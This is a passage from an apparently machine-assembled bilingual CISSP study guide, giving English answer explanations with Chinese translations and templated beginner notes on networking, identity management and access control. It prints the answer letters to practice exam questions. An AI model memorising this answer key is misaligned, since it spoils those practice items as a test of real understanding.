Transport-layer port security involves using firewalls to grant or deny communications to TCP and UDP ports. RJ-45 jacks should be managed so that unused ports are disabled and that when a cable is disconnected, the port is disabled. This approach prevents the connection of unauthorized devices. Shipping container storage relates to shipping ports, which is a type of port that is not specifically related to IT or typically managed by a CISO. 14. B. Quality of service (QoS) is the oversight and management of the efficiency and performance of network communications. Items to measure include throughput rate, bit rate, packet loss, latency, jitter, transmission delay, and availability.

A virtual private network (VPN) is a communication channel between two entities across an intermediary untrusted network. Software-defined networking (SDN) aims at separating the infrastructure layer from the control layer on networking hardware in order to reduce management complexity. Sniffing captures network packers for analysis. QoS uses sniffing, but sniffing itself is not QoS. 10. D.

中文直译 / 整理

建立VPN连接需要中间网络连接。 VPN可以在设备之间通过互联网建立。 , 在局域网内的设备之间,或在互联网上的系统与局域网之间。 11. B. 交换机是一种网络设备,可用于创建数字虚拟网络段(即VLAN), 并通过调整设备内部设置按需更改。 路由器用于连接不同的网络(即子网), 而非创建网络段。 子网通过IP地址和子网掩码分配创建。 代理和防火墙设备 不会创建数字虚拟网络段,但它们可部署在网络段之间以控制和管理流量。 12. B. VLAN不会对数据或流量实施加密。 加密流量可以在VLAN内发生,但加密并 非由VLAN强制实施。 VLAN确实提供流量隔离、流量管理与控制,并降低被窃听的风险。 13. B、C、D. 端口安全可指多种概念,包括网络访问控制(NAC)、传输层 端口和RJ‑45接口端口。 NAC要求设备在能够通过网络通信前进行身份验证。 传输层端口安全涉及使用防火墙来允许或拒绝对TCP和UDP端口的通信。 RJ‑45接口应进行管理,使未使用的端口被禁用,并在电缆断开时禁用端口。 这种方法可防止未经授权的设备连接。 集装箱存储与航运港口相关,这是一种 与IT无关或通常不由CISO管理的端口类型。

14. B. 服务质量(QoS)是对网络通信效率和性能的监督与管理。 可衡量的 项目包括吞吐量、比特率、丢包率、延迟、抖动、传输延迟和可用性。 虚拟 专用网络(VPN)是在两个实体之间通过一个中间不可信网络建立的通信通 道。 软件定义网络(SDN)旨在将网络硬件中的基础设施层与控制层分离, 以降低管理复杂性。 嗅探用于捕获网络数据包以进行分析。 QoS 使用嗅探, 但嗅探本身并非 QoS。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:可用性关注中断、故障、DoS、备份和冗余。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

可用性:可用性保证授权用户需要时能及时使用系统和数据。

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

加密:加密把内容变成未授权者看不懂的形式。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“可用性:需要时能用,且性能可接受”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

CISO 需要足够独立性和高层支持。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
可用性 可用性保证授权用户需要时能及时使用系统和数据。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
加密 加密把内容变成未授权者看不懂的形式。
首席信息安全官 CISO 负责组织安全计划、策略、沟通和监督。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
防火墙 防火墙根据规则控制网络流量进出。
学习单元 121 / PDF P1515

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

15. D. When IPSec is used in tunnel mode, entire packets, rather than just the payload, are encrypted. Transport mode only encrypts the original payload, not the original header. Encapsulating Security Payload (ESP) is the encrypter of IPSec, not the mode of VPN connection. Authentication Header (AH) is the primary authentication mechanism of IPSec. 16. A. Authentication Header (AH) provides assurances of message integrity and identity verification (i.e., authentication). Encapsulating Security Payload (ESP) provides confidentiality and integrity of payload contents. ESP also provides encryption, offers limited authentication, and prevents replay attacks.

IP Payload Compression (IPComp) is a compression tool used by IPSec to compress data prior to ESP encrypting it in order to attempt to keep up with wire speed transmission. Internet Key Exchange (IKE) is the mechanism of IPSec that manages cryptography keys and is composed of three elements: OAKLEY, SKEME, and ISAKMP. 17. B. Data remanent destruction is a security concern related to storage technologies more so than an email solution. Essential email concepts, which local systems can enforce and protect, include nonrepudiation, message integrity, and access restrictions. 18. D. The backup method is not an important factor to discuss with end users regarding email retention.

The details of an email retention policy may need to be shared with affected subjects, which may include privacy implications, how long the messages are maintained (i.e., length of retainer), and for what purposes the messages can be used (such as auditing or violation investigations). 19. D. Static IP addressing is not an implication of multilayer protocols; it is a feature of the IP protocol when an address is defined on the local system rather than being dynamically assigned by DHCP. Multilayer protocols include the risk of VLAN hopping, multiple encapsulation, and filter evasion using tunneling. 20. B.

A permanent virtual circuit (PVC) can be described as a logical circuit that always exists and is waiting for the customer to send data. Softwaredefined networking (SDN) is a unique approach to network operation, design, and management. SDN aims at separating the infrastructure layer (hardware and hardware-based settings) from the control layer (network services of data transmission management). A virtual private network (VPN) is a communication channel between two entities across an intermediary untrusted network. A switched virtual circuit (SVC) has to 15. D.

中文直译 / 整理

当IPSec以隧道模式使用时,整个数据包(而不仅仅是负载)都会被加 密。 传输模式仅加密原始负载,而不加密原始头部。 封装安全负载(ESP)是 IPSec的加密组件,而非VPN连接的模式。 认证头部(AH)是IPSec的主要 认证机制。 16. A. 认证头部(AH)提供消息完整性与身份验证(即认证)的保障。 封装 安全负载(ESP)提供负载内容的机密性与完整性。 ESP还提供加密、有限的 认证功能,并防止重放攻击。 IP负载压缩(IPComp)是IPSec使用的压缩工 具,用于在ESP加密之前压缩数据,以期跟上线路速度传输。 互联网密钥交换 (IKE)是IPSec管理加密密钥的机制,由三个部分组成:OAKLEY、 SKEME和ISAKMP。 17. B. 数据残留销毁是与存储技术相关的安全问题,而非电子邮件解决方案 的主要关注点。 电子邮件的基本概念,本地系统可以强制执行和保护的包括 不可否认性性、消息完整性以及访问限制。 18. D. 备份方法并非与最终用户讨论电子邮件保留时的重要因素。

电子邮件 保留策略的细节可能需要与相关主体共享,可能包括隐私影响、消息保留时 长(即保留期限),以及消息的使用目的(如审计或违规调查)。 19. D. 静态IP地址分配并非多层协议的含义; 它是IP协议的一个特性,当地 址在本地系统上定义而非由DHCP动态分配时使用。 多层协议包括VLAN跳 跃、多重封装以及使用隧道技术规避过滤的风险。 20. B. 永久虚电路(PVC)可描述为始终存在并等待客户发送数据的逻辑电路。 软件定义网络(SDN)是一种独特的网络运营、设计和管理方法。 SDN旨在将 基础设施层(硬件和基于硬件的设置)与控制层(数据传输管理的网络服务) 分离。 虚拟专用网络(VPN)是在两个实体之间通过中间不可信网络建立的通 信通道。 交换虚电路(SVC)必须

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

不可否认性:不可否认性让行为人事后不能抵赖自己做过某事。

认证:认证是验证“你是不是你声称的那个人”。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

数字签名、审计日志、交易记录和证书常支持不可否认性。

密码、令牌、生物特征、多因素认证都服务认证。

没有日志和身份绑定,就很难问责。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
不可否认性 不可否认性让行为人事后不能抵赖自己做过某事。
认证 认证是验证“你是不是你声称的那个人”。
审计 审计记录主体行为,用于追责、复盘和取证。
加密 加密把内容变成未授权者看不懂的形式。
政策 政策是高层原则,说明必须遵守什么。
保留期限 保留期限规定数据、日志或记录要保存多久。
学习单元 122 / PDF P1516

第 1516 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

be created each time it is needed using the best paths currently available before it can be used and then disassembled after the transmission is complete.

中文直译 / 整理

每次需要时,使用当前可用的最佳路径创建,使用完毕后即拆除。

小白解释

场景先行:你是公司的安全负责人,正在读第 1516 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1516 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 123 / PDF P1517

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 13: Managing Identity and Authentication 1. A. Upon implementing a cloud-based federation for identity sharing, individuals will typically use their existing normal account credentials to log in. This is facilitated by the federation service, which allows for the secure sharing of identities across different systems and providers. The use of an account provided by the cloud-based federation or a hybrid identity management approach is not necessary for the user's perspective, as these are backend solutions that enable the federation to function.

Single-sign on is a related concept where a user logs in once and gains access to multiple systems without being prompted to log in again for each one, but it is a feature or capability that results from federation rather than the type of account used for login. 2. A. A primary goal when controlling access to assets is to protect against losses, including any loss of confidentiality, loss of availability, or loss of integrity. Subjects authenticate on a system, but objects do not authenticate. Subjects access objects, but objects do not access subjects. Identification and authentication are important as the first step in access control, but much more is needed to protect assets. 3. C.

The subject is active and is always the entity that receives information about, or data from, the object. A subject can be a user, a program, a process, a file, a computer, a database, and so on. The object is always the entity that provides or hosts information or data. The roles of subject and object can switch while two entities communicate to accomplish a task. 4. D. NIST SP 800-63B recommends users only be required to change their password if their current password is compromised. They do not recommend that users be required to change their password regularly at any interval. 5. B. Password history can prevent users from rotating between two passwords.

It remembers previously used passwords. Password complexity and password length help ensure that users create strong passwords. Password age ensures that users change their password regularly. 6. B. A passphrase is a long string of characters that is easy to remember, such as IP@$$edTheCISSPEx@m. It is not short and typically includes at least three sets of character types. It is strong and complex, making it difficult to crack.

中文直译 / 整理

第13章:管理身份和身份验证 1. A. 在实施基于云的联合身份共享时,个人通常会使用其现有的常规账户 凭据登录。 这由联合服务促成,该服务允许在不同系统和提供商之间安全地 共享身份。 从用户的角度来看,无需使用由基于云的联合或混合身份管理方 法提供的账户,因为这些是使联合能够运行的后端解决方案。 单点登录是一 个相关概念,指用户只需登录一次,即可访问多个系统而无需为每个系统重 复登录,但这是联合带来的功能或能力,而非用于登录的账户类型。 2. A. 控制对资产访问的主要目标是防止损失,包括机密性丧失、可用性丧失 或完整性丧失。 主体在系统上进行身份验证,但对象不进行身份验证。 主体 访问对象,但对象不访问主体。 识别和身份验证是访问控制的第一步,但要 保护资产,还需要更多措施。 3. C. 主体是主动的,始终是接收有关对象的信息或数据的实体。 主体可以是 用户、程序、进程、文件、计算机、数据库等。 对象始终是提供或托管信息 或数据的实体。 当两个实体为完成任务进行通信时,主体和对象的角色可以 互换。 4. D. NIST SP 800‑63B 建议仅在用户当前密码被泄露时才要求其更改密码。

他们不建议用户在任何固定间隔内定期更改密码。 5. B. 密码历史记录可防止用户在两个密码之间循环切换。 它会记录之前 使用过的密码。 密码复杂性和密码长度有助于确保用户创建强密码。 密 码年龄确保用户定期更改密码。 6. B. 口令短语是一串易于记忆的长字符,例如 IP@$$ edTheCISSPEx@m。 它不是短字符串,通常至少包含三种字符类型。 它 强大且复杂,难以破解。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

认证:认证是验证“你是不是你声称的那个人”。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

密码、令牌、生物特征、多因素认证都服务认证。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
认证 认证是验证“你是不是你声称的那个人”。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
身份 身份是主体在系统中的标识。
学习单元 124 / PDF P1518

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

7. A. A synchronous authenticator generates and displays one-time passwords that are synchronized with an authentication server. An asynchronous token uses a challenge-response process to generate the one-time password. Smartcards do not generate one-time passwords, and common access cards are a version of a smartcard that includes a picture of the user. 8. C. The point at which the biometric false rejection rate and the false acceptance rate are equal is the crossover error rate (CER). It does not indicate that sensitivity is too high or too low. A lower CER indicates a more accurate biometric device, and a higher CER indicates a less accurate device. 9. A.

A false rejection, sometimes called a false negative authentication or a Type I error, occurs when an authentication system doesn't recognize a valid subject (Sally in this example). A false acceptance, sometimes called a false positive authentication or a Type II error, occurs when an authentication system incorrectly recognizes an invalid subject. Crossover errors and equal errors aren't valid terms related to biometrics. However, the crossover error rate (also called equal error rate) compares the false rejection rate to the false acceptance rate and provides an accuracy measurement for a biometric system. 10. C. An authenticator app on a smartphone or tablet device is the best solution.

SMS has vulnerabilities, and NIST has deprecated its use for two-factor authentication. Biometric authentication methods, such as fingerprint scans, provide strong authentication. However, purchasing biometric readers for each employee's home would be expensive. A PIN is in the something you know factor of authentication, so it doesn't provide two-factor authentication when used with a password. 11. B. Physical biometric methods such as fingerprints and iris scans provide authentication for subjects. An account ID provides identification. An authenticator is something you have, and it creates one-time passwords, but it is not related to a person's physical characteristics.

A personal identification number (PIN) is something you know. 12. B, C, D. Ridges, bifurcations, and whorls are fingerprint minutiae. Ridges are the lines in a fingerprint. Some ridges abruptly end, and some ridges bifurcate or fork into branch ridges. Whorls are a series of circles. Palm scans measure vein patterns in a palm. 7. A.

中文直译 / 整理

同步认证器生成并显示与认证服务器同步的一次性密码。 异步令牌使用 挑战‑响应过程生成一次性密码。 智能卡不生成一次性密码,而通用访问卡是 包含用户照片的智能卡版本。 8. C. 生物特征误拒率和误接受率相等的点称为交叉错误率(CER)。 它 并不表示灵敏度过高或过低。 CER 越低,表示生物特征设备越准确; CER 越高,表示设备越不准确。 9. A. 误拒(有时称为误否定认证或 I 类错误)是指认证系统未能识别出有效 主体(例如本例中的 Sally)。 误接受(有时称为误肯定认证或 II 类错误) 是指认证系统错误地识别了无效主体。 交叉错误和相等错误并非与生物特征 相关的有效术语。 然而,交叉错误率(也称为相等错误率)将误拒率与误接 受率进行比较,为生物特征系统提供准确度衡量标准。 10. C. 智能手机或平板电脑上的身份验证器应用是最佳解决方案。 短信存在 漏洞,NIST 已弃用其在双因素身份验证中的使用。 生物识别身份验证方法 (如指纹扫描)提供强身份验证。 然而,为每位员工的家用生物识别阅读器 采购成本高昂。 PIN 属于“你知道”的身份验证因素,因此当与密码一起使 用时,它不能提供双因素身份验证。

11. B. 指纹和虹膜扫描等物理生物识别方法可为主体提供身份验证。 账户 I D 提供身份识别。 身份验证器是“你拥有”的物品,它生成一次性密码,但 与个人的生理特征无关。 个人识别码(PIN)是“你知道”的内容。 12. B、C、D。 脊线、分叉点和螺纹是指纹的细节特征。 脊线是指纹中的线条, 有些脊线突然终止,有些则分叉或分支成支线。 螺纹是一系列圆形图案。 掌 纹扫描测量手掌中的静脉模式。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

NIST:NIST 提供美国常用安全标准、框架和指南。

标准:标准给出必须满足的最低要求。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Minimum level、mandatory requirement 常对应 standard。

网络题先定位层次,再判断协议、设备或攻击位置。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
NIST NIST 提供美国常用安全标准、框架和指南。
标准 标准给出必须满足的最低要求。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
身份 身份是主体在系统中的标识。
学习单元 125 / PDF P1519

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

13. A. Fingerprints can be counterfeited or duplicated. It is not possible to change fingerprints. Users will always have a finger available (except for major medical events). It usually takes less than a minute for registration of a fingerprint. 14. A, D. Accurate identification and authentication are required to ensure logs accurately support accountability. Logs record events, including who took an action, but without accurate identification and authentication, the logs can't be relied on. Authorization grants access to resources after proper authentication. Auditing occurs after logs are created, but identification and authentication must occur first. 15. D.

The best choice is to define a new role for Linux administrators and assign privileges based on the role definition. Linux systems do not have an Administrators group or a sudo group. However, you can grant root account access to users by adding them to the sudoers file. There isn't a sudo password. Instead, users execute root-level commands in the context of their own account, and their own password or if configured, the root user's password. Note that Chapter 14, “Controlling and Monitoring Access,” discusses sudo (and minimizing its use) in the context of privilege escalation. 16. C. The most likely reason (of the provided options) is to prevent sabotage.

If the user's account remains enabled, the user may log on later and cause damage. Disabling the account doesn't remove the account or remove assigned privileges. Disabling an account doesn't encrypt any data, but it does retain encryption keys that supervisors can use to decrypt any data encrypted by the user. 17. C. The most appropriate action to take when an employee leaves an organization is to disable their account. This action immediately prevents any further access to the organization's systems and data while preserving the account's data and audit trail.

This is essential for any necessary follow-up investigations or in cases where access may need to be temporarily reinstated, for example, if the employee returns to the organization or if there are disputes regarding their work that need to be resolved post-departure. Deleting their account would limit the potential to audit the account's history, which could be necessary for future reference. Forcing them to change their password would allow them to retain access to their account once they have left, as they would know the new password. Taking no action for a period of time leaves unnecessary 13. A.

中文直译 / 整理

指纹可以被伪造或复制。 指纹无法更改。 用户通常总有手指可用(重 大医疗事件除外)。 指纹注册通常耗时不到一分钟。 14. A, D. 为确保日志准确支持责任追溯,需要进行准确的识别和身份验证。 日志记录事件,包括谁执行了操作,但如果没有准确的识别和身份验证,日志 就不可靠。 授权在通过适当的身份验证后授予对资源的访问权限。 审计发生在 日志创建之后,但识别和身份验证必须先于审计进行。 15. D. 最佳选择是为 Linux 管理员定义一个新角色,并根据角色定义分配权 限。 Linux 系统没有 Administrators 组或 sudo 组。 但是,您可以通过将 用户添加到 sudoers 文件来授予 root 账户访问权限。 不存在 sudo 密码。 相 反,用户在自己账户的上下文中执行 root 级命令,使用自己的密码,或者如 果已配置,则使用 root 用户的密码。 请注意 第 14 章,“控制和监控访问”, 在特权提升的背景下讨论了 sudo(以及最小化其使用)。 16. C. 最可能的原因(在提供的选项中)是防止破坏行为。 如果用户的账户保 持启用状态,用户日后可能登录并造成损害。

禁用账户不会删除账户或移除分 配的权限。 禁用账户不会加密任何数据,但会保留加密密钥,以便管理员用于 解密用户加密的任何数据。 17. C. 员工离开组织时最合适的操作是禁用其账户。 此操作可立即阻止其继续 访问组织的系统和数据,同时保留账户的数据和审计日志。 这对于任何必要的 后续调查或在需要临时恢复访问权限的情况下至关重要,例如员工重返组织, 或在离职后需要解决与其工作相关的争议时。 删除账户将限制审计账户历史记 录的可能性,而这些记录可能对未来的参考至关重要。 强制其更改密码会使他 们在离开后仍能访问账户,因为他们知道新密码。 在一段时间内不采取任何行 动会留下不必要的

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

审计:审计记录主体行为,用于追责、复盘和取证。

问责性:问责性要求能把行为绑定到具体主体。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

没有日志和身份绑定,就很难问责。

问责依赖识别、认证、授权、审计和记账共同工作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
问责性 问责性要求能把行为绑定到具体主体。
加密 加密把内容变成未授权者看不懂的形式。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
身份 身份是主体在系统中的标识。
学习单元 126 / PDF P1520

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

security risks, as the departing employee would still have access to the system. 18. D. It's appropriate to disable an account when an employee takes a leave of absence of 30 days or more. The account should not be deleted because the employee is expected to return after the leave of absence. If the password is reset, someone could still log on. If nothing is done to the account, someone else may access it and impersonate the employee. 19. C. Account access reviews can detect security issues for service accounts such as the sa (short for system administrator) account in Microsoft SQL Server systems. Reviews can ensure that service account passwords are strong and changed often.

The other options suggest removing, disabling, or deleting the sa account, but doing so is likely to affect the database server's performance. Account deprovisioning ensures accounts are removed when they are no longer needed. Disabling an account ensures it isn't used, and account revocation deletes the account. 20. D. A periodic account access review can discover when users have more privileges than they need and could have been used to discover that this employee had permissions from several positions. Strong authentication methods (including multifactor authentication methods) would not have prevented the problems in this scenario.

Logging records what happened, but it doesn't prevent events.

中文直译 / 整理

安全风险,因为离职员工仍可访问系统。 18. D. 当员工请假30天或以上时,禁用其账户是合适的。 不应删除账户,因 为员工预计会在假期结束后返回。 如果重置密码,他人仍可能登录。 如果不 对账户做任何处理,其他人可能访问该账户并冒充该员工。 19. C. 账户访问审查可以检测服务账户(例如 Microsoft SQL Server 系统中 的 sa(系统管理员)账户)的安全问题。 审查可以确保服务账户密码强度足 够且经常更改。 其他选项建议移除、禁用或删除 sa 账户,但这样做可能会影 响数据库服务器的性能。 账户停用确保在账户不再需要时将其移除。 禁用账户 可确保其不被使用,而账户撤销则会删除账户。 20. D. 定期的账户访问审查可以发现用户拥有超出其需求的权限,并可能发现 该员工拥有多个职位的权限。 强身份验证方法(包括多因素身份验证方法)无 法防止本场景中的问题。 日志记录事件发生情况,但不能阻止事件发生。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

NIST:NIST 提供美国常用安全标准、框架和指南。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

网络题先定位层次,再判断协议、设备或攻击位置。

身份管理题要区分识别、认证、授权、审计。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
NIST NIST 提供美国常用安全标准、框架和指南。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 127 / PDF P1521

第 1521 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 14: Controlling and Monitoring Access 1. B. The implicit deny principle ensures that access to an object is denied unless access has been expressly allowed (or explicitly granted) to a subject. It does not allow all actions that are not denied, and it doesn't require all actions to be denied. 2. B. An access control matrix includes multiple objects and subjects. It identifies access granted to subjects (such as users) to objects (such as files). A single list of subjects for any specific object within an access control matrix is an access control list. A federation refers to a group of companies that share a federated identity management (FIM) system for single sign-on (SSO).

Creeping privileges refers to excessive privileges a subject gathers over time. 3. B. A discretionary access control model allows the owner (or data custodian) of a resource to grant permissions at the owner's discretion. The other answers (MAC, RBAC, and rule-based access control) are nondiscretionary models. 4. A. The DAC model allows the owner of data to modify permissions on the data. In the DAC model, objects have owners, and the owners can grant or deny access to objects that they own. The MAC model uses labels to assign access based on a user's need to know and organization policies. A rule-based access control model uses rules to grant or block access.

